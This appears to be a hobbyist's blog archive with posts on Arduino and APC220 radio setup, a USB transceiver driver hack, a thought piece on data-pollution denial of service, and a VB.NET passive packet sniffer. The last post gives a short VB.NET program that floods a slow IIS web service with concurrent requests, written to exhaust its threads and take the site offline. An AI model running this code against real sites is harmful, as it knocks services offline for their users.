Configuring an APC220 RF transceiver with Arduino

For some reason every time I look up tools for playing with electronics they end up to be windows based. For the APC220 it wasn’t any different, the only configuration tool I found was the RF-Magic executable. As I don’t run windows at home, and I don’t feel like booting a VM every time I want to configure my RF module I was looking for a way to do this straight from my Arduino.

It took me a while to find good, relevant material, but I finally found a nice Arduino Sketch that does just that. It also includes setting up a Serial communication over two Digital IO pins so you can keep the Arduino connected to your pc. You can get it here.

Below is a sample script that will set up your APC220 to work over 433.9MHz.

Pinout is as follows:

  • 1 SET connected to Arduino Digital 13 (D13)
  • 2 AUX not connected
  • 3 TXD connected to D12
  • 4 RXD connected to D11
  • 5 EN noyt connected
  • 6 VCC connected to 5V
  • 7 GND connected to ground

The Script:

//based on http://www.control.aau.dk/~jdn/edu/doc/arduino/sketchbook/apc220cansat/apc220cansat.ino

#include <SoftwareSerial.h>

const int pinRX = 12;
const int pinTX = 11;
const int pinSET= 13;

SoftwareSerial apc220(pinRX, pinTX); // Crt softserial port and bind
tx/rx to appropriate PINS

void setupSoftAPC(void){
pinMode(pinSET, HIGH);

apc220.begin(9600);
}

void setSettings(void){
digitalWrite(pinSET, LOW); // pulling SET to low will put apc220 in config mode
delay(10); // stabilize please
apc220.println("WR 433900 3 9 3 0"); // ask for data
delay(10);

while (apc220.available()) {
Serial.write(apc220.read());
}
digitalWrite(pinSET, HIGH); // put apc220 back in operation
delay(200);
}
void getSettings(void) {
digitalWrite(pinSET, LOW); // pulling SET to low will put apc220 in config mode
delay(10); // stabilize please
apc220.println("RD"); // ask for data
delay(10);

while (apc220.available()) {
Serial.write(apc220.read());
}
digitalWrite(pinSET, HIGH); // put apc220 back in operation
delay(200);
}

void setup(){
Serial.begin(9600);
setupSoftAPC();
setSettings();
}

void loop(){
apc220.println("Hello World!");
delay(5000);
}

The settings are set by this line

 apc220.println(</code><code>"WR 433900 3 9 3 0"</code><code>);
To configure the APC220 you need to set the SET pin HIGH and then pull it down (set it to LOW). This will put the module in configuration mode. Once it is in configuration mode you can write the configuration to it as displayed in the above example.
The format is
WR Frequency RFDataRate OutputPower UART-Rate Series check
Possible values for all these settings:
  • Frequency: Unit is KHz,for example 434MHz is 434000
  • RF Data Rate: 1,2,3 and 4 refer to 2400,4800,9600,19200bps
  • Output Power: 0 to 9, 9 means 13dBm(20mW)
  • UART Rate: 0,1,2,3,4,5 and 6 refers to 1200,2400,4800,9600, 19200,38400,57600bps
  • Series Checkout: Series checkout:0 means no check,1 means even parity,2 means odd parity.

What constitutes a Denial Of Service Attack?

At the time of writing, the Wikipedia entry for DOS states:

In computing, a denial-of-service attack (DoS attack) or distributed denial-of-service attack (DDoS attack) is an attempt to make a machine or network resource unavailable to its intended users. Although the means to carry out, motives for, and targets of a DoS attack may vary, it generally consists of the efforts of one or more people to temporarily or indefinitely interrupt or suspend services of a host connected to the Internet.

Source: http://en.wikipedia.org/wiki/Denial-of-service_attack

And this seems in line with every Denial Of Service Attack I’ve read about: it’s all about knocking the host offline.

However, when you lock at the term itself: “Denial Of Service”. It indicates that it is an attack whereby you deny users access to a service. Seems straight forward enough, but does one really need to take a service offline to deny users from using it.

Example:

A website offers an online directory where you can search for shops, restaurants, etc.. in your neighbourhood. Shops can register and fill out a little form online where they state their name, address, phone, business hours and more relevant info as such.

So the services offered here are:

  • For shops to make them selves known to potential customers
  • For potential customers to search fo nearby product/service vendors

Now, imagine someone identifies  a security issue with the shops registration form that would allow them to mass registers shops.They then  proceed by registering large numbers of shops/vendors with real looking data.  This would make searching the site for nearby or local shops useless as valid entries would be drowned out by invalid entries.

At this point one might argue that a little database cleanup and fixing the issue with the registration form should suffice. But what if someone, in stead of drowning out valid results, would just insert a fair amount of invalid data. In this manner spiking search results with enough invalid, but real looking, data to make users no longer trust the search results?

In effect, the results, and therefore the services rendered by the site, have become unusable. The host is still online, and people can still connect to it, but they just don’t want to any-more.

Would you call that a Denial Of Service? Or an Introduction Of Disservice?

USB-1100PA 433MHz Wireless RF Transceiver

RF Transceiver

I recently ordered myself a 433mhz USB transceiver. After a few weeks waiting the package arrived from Hong Kong containing a 433MHz USB transceiver… unfortunately the package lacked any manual or driver. The device itself contains only a marking stating “RF Transceiver” but nothing more, no serial number, no vendor name, nothing.

I run Ubuntu on most of my machines and none of them seemed to support the device. My windows Vista box (I know) recognizes the device as I/O device, but nothing more then that, ideally it would be registered as a terminal device so I could talk to it, but nothing.

I’m currently still searching for a good way to get things working, but as I found nothing on the net to help me in my search I thought I would make this little write up so it could help others in their quest to get this device working.

TLDR: Here’s what I found so far.

The ‘specs’ from the reseller’s website:

  • CC1101 chipset
  • 433MHz ISM frequency range
  • Transmit speed: 250Kbps
  • High efficiency MSK modulation
  • Working range: 300~400m in open area
  • Applications: PC to PC data transmission; Build PC to electronic devices wireless remote control system

From the chip itself
NetUSB  1101PA20DBM U3

From a Chinese reseller’s site (yeay google translate)
[Module] NewMsg-NETUSB-1101PA20DBM,
The USB-1100PA wireless communication module, TI-Chipcon CC1101 chip as the main chip,
real USB interface, compact, containing exquisite shell internal amplifier circuit,
remote wireless transceiver can be achieved, suitable for computer wireless remote wireless data collection.
Can easily build a PC-based long-distance wireless communication system

propable developer site

http://www.fytoo.com/home.php

Might be related

https://github.com/robomotic/NorduinoUsb-Adapter-C8051/tree/master/NetUsbDemo4VC6

Current Status

By searching the developpers site for USB1100PA you can locate a chinese ‘manual’, it contains references to a windows based terminal emulator that should be able to talk to the device. I guess reverse engineering this will be my best bet.

Before I started looking around on the net I started of playing with python to talk to the device. It seems to expose only one interface and only two endpoints, one Read, one Write. But I haven’t gotten much further then making the devices light burn. As I have only one device I can’t really tell if it is sending out data or if the reading functionality actually ‘reads’ correct data.

I’ll update this post as I go along. If you have anything to contribute, please leave a comment.

Update1

The , what I think is the vendor, site has the following manual:

http://www.fytoo.com/msg.php?id=158 (pdf download at the bottom)

This specifies the cp210x driver for Vista. , so I followed the procedure as described at http://ubuntuforums.org/showthread.php?p=6851047#post6851047

  • apt-get install build-essential linux-source
  • cp /usr/src/linux-source-3.5.0.tar.bz2 /tmp
  • cd /tmpbunzip2 linux-source-3.5.0.tar.bz2
  • tar xf linux-source-3.5.0.tar
  • cd linux-source-3.5.0
  • cp drivers/usb/serial/cp210x.c drivers/usb/serial/console.c.orig
  • #add product
  • gedit drivers/usb/serial/cp210x.c
  • make oldconfig
  • make prepare
  • make scripts
  • cp /usr/src/linux-headers-3.5.0-22-generic/Module.symvers .
  • make -i M=./drivers/usb/serial
  • cp /lib/modules/3.5.0-22-generic/kernel/drivers/usb/serial/cp210x.ko /lib/modules/3.5.0-22-generic/kernel/drivers/usb/serial/cp210x.ko.orig
  • cp drivers/usb/serial/cp210x.ko /lib/modules/3.5.0-22-generic/kernel/drivers/usb/serial/cp210x.ko
  • modprobe cp210x
  • #reboot
this resulted in (extract from dmesg)
[ 1739.910177] usb 3-2: new full-speed USB device number 
3 using xhci_hcd
[ 1739.927931] usb 3-2: New USB device found, idVendor=10c4, idProduct=8668
[ 1739.927937] usb 3-2: New USB device strings: Mfr=1, Product=2, 
SerialNumber=0
[ 1739.927941] usb 3-2: Product: NETUSB1100 NEWMSG
[ 1739.927944] usb 3-2: Manufacturer: HZWB
[ 1739.930324] cp210x 3-2:1.0: cp210x converter detected
[ 1740.042383] usb 3-2: reset full-speed USB device number 3 using xhci_hcd
[ 1740.058968] xhci_hcd 0000:00:14.0: xHCI xhci_drop_endpoint called 
with disabled ep ffff880210283ec0
[ 1740.058975] xhci_hcd 0000:00:14.0: xHCI xhci_drop_endpoint called 
with disabled ep ffff880210283e80
[ 1740.059427] usb 3-2: cp210x converter now attached to ttyUSB0
[ 1740.078970] cp210x ttyUSB0: cp210x_open - Unable to enable UART
[ 1740.079989] cp210x ttyUSB0: cp210x_open - Unable to enable UART

Arduino UNO

Ordered myself an Arduino starter-kit a couple of weeks ago. I know very little about electronics and wanted to learn some basics. When I say little, I mean next to nothing.

It arrived in the mail Two days ago and today I finally got a chance to play with it. the kit came with a breadboard, a riser card, some cabling, a couple of sensors, etc…

As “Hello World” app I set of to build a little room monitoring device for my son. Being restricted to whatever came in the starter kit I had the following toys at my disposal:

  • a bunch of LED’s
  • a light sensitive resistor
  • a temperature sensitive resistor
  • an LCD Screen
  • a buzzer

All in all, researching all I needed to know, downloading the necessary software, writing the sketch and wiring everything up took me one afternoon. This just goes to show how well thought out and designed the Arduino board is. It’s very straight forward, has a vast community and is completely open source.</end shameless plug>

Now I have to wait for my Raspberry Pi to arrive so I can build myself an HTTP based remote control for my house.

Jenscan: javascript based lan scanner

Made a little poc of the javascript scanner idea:
you can find it on Github

Making a passive network scanner in .NEt (PacketDotNet)

Came across the Packet.NEt the other day, a great interface to capture and dissect network packets in .Net
To test it I made a little passive network scanner that listens for incoming packets and registers ip addresses, hardware addresses and netbios addresses. Must say that I’m quite pleased with this library.

The code below is the code-behind for a form named form1. I marked the form controls red so you can quickly see what you need to add to your form to make this work


Imports SharpPcap
Imports PacketDotNet

Public Class Form1
Public DEVICE_LIST As SharpPcap.WinPcap.WinPcapDeviceList
Public WithEvents DEVICE As SharpPcap.WinPcap.WinPcapDevice

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
LoadDevices()

End Sub

Private Sub LoadDevices()
Try
'laod devices
DEVICE_LIST = SharpPcap.WinPcap.WinPcapDeviceList.[New]
For Each x As SharpPcap.WinPcap.WinPcapDevice In DEVICE_LIST

Me.cmbDevices.Items.Add(x.Description)

Next
Catch ex As Exception
MsgBox("Failed to load Device lsit, exiting", MsgBoxStyle.OkOnly)

Me.Close()
End Try

End Sub

Private Sub cmdStart_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles cmdStart.Click

If Me.cmdStart.Text = "Start" Then
Dim loInterface As SharpPcap.WinPcap.WinPcapDevice = Nothing

If Me.cmbDevices.SelectedIndex >= 0 Then
For Each x As SharpPcap.WinPcap.WinPcapDevice In DEVICE_LIST
If x.Description = Me.cmbDevices.Items(Me.cmbDevices.SelectedIndex).ToString Then
loInterface = x
Exit For
End If
Next
End If

If loInterface IsNot Nothing Then
Me.cmdStart.Text = "Stop"
Me.DEVICE = loInterface
Me.DEVICE.Open(SharpPcap.DeviceMode.Promiscuous)
Me.DEVICE.Mode = SharpPcap.WinPcap.CaptureMode.Packets
Me.DEVICE.StartCapture()
Else
MsgBox("Select a valid interface first.", MsgBoxStyle.OkOnly, "Invalid input")
End If
Else
Try
Me.DEVICE.StopCapture()
Me.DEVICE.Close()
Catch ex As SharpPcap.PcapException
'die
End Try

Me.cmdStart.Text = "Start"
End If

End Sub

Private Sub DEVICE_OnPacketArrival(ByVal sender As Object, ByVal e As SharpPcap.CaptureEventArgs) Handles DEVICE.OnPacketArrival

Dim loPacket As PacketDotNet.Packet = PacketDotNet.Packet.ParsePacket(PacketDotNet.LinkLayers.Ethernet, e.Packet.Data)

Dim loIPPacket As PacketDotNet.IpPacket
Dim loEthPacket As PacketDotNet.EthernetPacket

Dim lsIp As String = ""
Dim lsHWAddr As String

loEthPacket = PacketDotNet.EthernetPacket.ParsePacket(LinkLayers.Ethernet, e.Packet.Data)

If loEthPacket.PayloadPacket IsNot Nothing Then
Select Case loEthPacket.PayloadPacket.GetType.ToString

Case "PacketDotNet.ARPPacket"
Dim loArpPacket As PacketDotNet.ARPPacket
loArpPacket = PacketDotNet.ARPPacket.GetEncapsulated(loPacket)
If loArpPacket IsNot Nothing Then ParseEtherNetData(loArpPacket.SenderHardwareAddress.ToString, loArpPacket.SenderProtocolAddress.ToString)
'If loArpPacket IsNot Nothing Then ParseEtherNetData(loArpPacket.TargetHardwareAddress.ToString, loArpPacket.TargetProtocolAddress.ToString)
'skip this, mostly broadcast
Case "PacketDotNet.IPv4Packet"  '"PacketDotNet.TcpPacket"
loIPPacket = loEthPacket.PayloadPacket
If loIPPacket IsNot Nothing Then
If loIPPacket.SourceAddress.AddressFamily = System.Net.Sockets.AddressFamily.InterNetwork Then
ParseEtherNetData(loEthPacket.SourceHwAddress.ToString, loIPPacket.SourceAddress.ToString)
ParseEtherNetData(loEthPacket.DestinationHwAddress.ToString, loIPPacket.DestinationAddress.ToString)
End If

If loIPPacket.PayloadPacket IsNot Nothing Then
If loIPPacket.PayloadPacket.GetType.ToString = "PacketDotNet.UdpPacket" Then
Dim loUDPPacket As PacketDotNet.UdpPacket = loIPPacket.PayloadPacket
Select Case loUDPPacket.SourcePort
Case 53 'dns

Case 138 'netbios datagram
Debug.Print(loUDPPacket.Length & ":" & loUDPPacket.PayloadData.Length)
If loUDPPacket.DestinationPort = 138 Then 'host announcment?
Debug.Print(loUDPPacket.Length & ":" & loUDPPacket.PayloadData.Length)
If loUDPPacket.PayloadData.Length = 201 And CInt(loUDPPacket.PayloadData(0).ToString) = 17 And CInt(loUDPPacket.PayloadData(168).ToString) = 1 Then 'Direct group datagram: host anouncement
Dim loName As String
For i As Integer = 0 To 15
If loUDPPacket.PayloadData(174 + i) <> 0 Then
loName = loName & Chr(CInt(loUDPPacket.PayloadData(174 + i)))
Else
Exit For
End If
Next
ParseEtherNetData(loEthPacket.SourceHwAddress.ToString, loIPPacket.SourceAddress.ToString, loName.Trim)
Debug.Print(loName.Trim)

End If
End If

End Select
End If
End If

End If
Case Else

Debug.Print("### " & loEthPacket.PayloadPacket.GetType.ToString)
End Select
End If

End Sub

Private Sub ParseEtherNetData(ByVal HWaddress As String, Optional ByVal lsip As String = "", Optional ByVal HostName As String = "")
Dim lbExists As Boolean = False
Dim lsMac As String = ""
If HWaddress <> "" Then
For i As Integer = 1 To Len(HWaddress) Step 2
If lsMac <> "" Then lsMac = lsMac & ":"
lsMac = lsMac & Mid(HWaddress, i, 2)
Next
End If

If lsip <> "" Then
For Each xrow As DataGridViewRow In Me.DataGridView1.Rows
If xrow.Cells("IP4Addr").Value = lsip Then
lbExists = True
If lsMac <> "" Then UpdateCell(xrow.Cells("MACAddr"), lsMac)
If HostName <> "" Then UpdateCell(xrow.Cells("Hostname"), HostName)
UpdateCell(xrow.Cells("PacketCount"), CInt(xrow.Cells("PacketCount").Value) + 1)

Exit For
End If
Next
End If

If lbExists = False Then CreateRow(lsip, lsMac, HostName)

End Sub

Delegate Sub CreatRowCallback(ByVal lsip As String, ByVal lsMAc As String, ByVal lsHOst As String)
Private Sub CreateRow(Optional ByVal lsip As String = "", Optional ByVal lsMAc As String = "", Optional ByVal lsHOst As String = "")
If lsMAc = "00:00:00:00:00:00" Or lsMAc = "FF:FF:FF:FF:FF:FF" Then Exit Sub
Try

Dim lRow As New DataGridViewRow
Dim loCellSeen As DataGridViewCell = New DataGridViewTextBoxCell : loCellSeen.Value = Now
Dim loCellIP As DataGridViewCell = New DataGridViewTextBoxCell : loCellIP.Value = lsip
Dim loCellMac As DataGridViewCell = New DataGridViewTextBoxCell : loCellMac.Value = lsMAc
Dim loCellHost As DataGridViewCell = New DataGridViewTextBoxCell : loCellHost.Value = lsHOst
Dim loCellCount As DataGridViewCell = New DataGridViewTextBoxCell : loCellCount.Value = 1

lRow.Cells.Add(loCellSeen) lRow.Cells.Add(loCellIP) lRow.Cells.Add(loCellMac) lRow.Cells.Add(loCellHost) lRow.Cells.Add(loCellCount)
If Me.DataGridView1.InvokeRequired Then
Dim x As New CreatRowCallback(AddressOf CreateRow)
Me.DataGridView1.Invoke(x, {lsip, lsMAc, lsHOst})
Else

Me.DataGridView1.Rows.Add(lRow)
If Me.DataGridView1.SortedColumn IsNot Nothing Then Me.DataGridView1.Sort(Me.DataGridView1.SortedColumn, Me.DataGridView1.SortOrder - 1) 'yes, -1 dumb,asses

End If
Catch ex As Exception
'unload event: die
Debug.Print(ex.Message & vbCrLf & ex.StackTrace)
End Try

End Sub

Delegate Sub UpdateCellCallback(ByVal loCel As DataGridViewCell, ByVal lsVal As String)
Private Sub UpdateCell(ByVal loCel As DataGridViewCell, ByVal lsVal As String)
If Me.DataGridView1.InvokeRequired = True Then
Dim x As New UpdateCellCallback(AddressOf UpdateCell)
Me.DataGridView1.Invoke(x, {loCel, lsVal})
Else
Me.DataGridView1.Rows(loCel.RowIndex).Cells(loCel.ColumnIndex).Value = lsVal
Me.DataGridView1.Rows(loCel.RowIndex).Cells("Seen").Value = Now

If Me.DataGridView1.SortedColumn IsNot Nothing Then Me.DataGridView1.Sort(Me.DataGridView1.SortedColumn, Me.DataGridView1.SortOrder - 1)
End If
End Sub

End Class

IIS: the danger of slow webservices (on Integrated authentication).

During the investigation of IIS crashes on a customers site I came across some articles detailing the Max amount of threads a worker process can hold. I also learned that a normal request to a web-service takes 2 threads, one running over NTLM authentication takes four.

So in the process of reproducing the issue I came across the following issue: If/when you have a slow web-service running (i.e: it takes the web-service a long time to respond) and the whole site running under a application pool with one single worker process it is trivial to exhaust the threads and effectively keep it too occupied to handle requests from other users.

In the .NET example below service.slowpoke is the webservice.  Please note that while this code will take the site offline, it has almost no impact on the client machine running the code.

Module Module1
    Private loTime(499) As Timers.Timer
    Private resultCount As Integer = 0
    Private startCount As Integer = 0
    Sub Main()
        Console.Clear()
        Exhaust()

        Console.ReadLine()
    End Sub

    Private Sub Exhaust()
        For Each i As System.Timers.Timer In loTime
            i = New System.Timers.Timer(500)
            AddHandler i.Elapsed, AddressOf TikTok
            startCount = startCount + 1
            i.Start()
            PrintResult()
        Next
    End Sub

    Private Sub TikTok(ByVal o As Object, ByVal e As System.EventArgs)
        Dim x As System.Timers.Timer = CType(o, System.Timers.Timer)
        x.Enabled = False
        Dim loobj As New serice.slowpoke

        Dim lsStrSlow As String = loobj.SLowpoke
        resultCount = resultCount + 1
        PrintResult()
    End Sub

    Sub PrintResult()
        Console.Clear()
        Console.WriteLine("Initialised " & startCount)
        Console.WriteLine("Finished " & resultCount)
    End Sub
End Module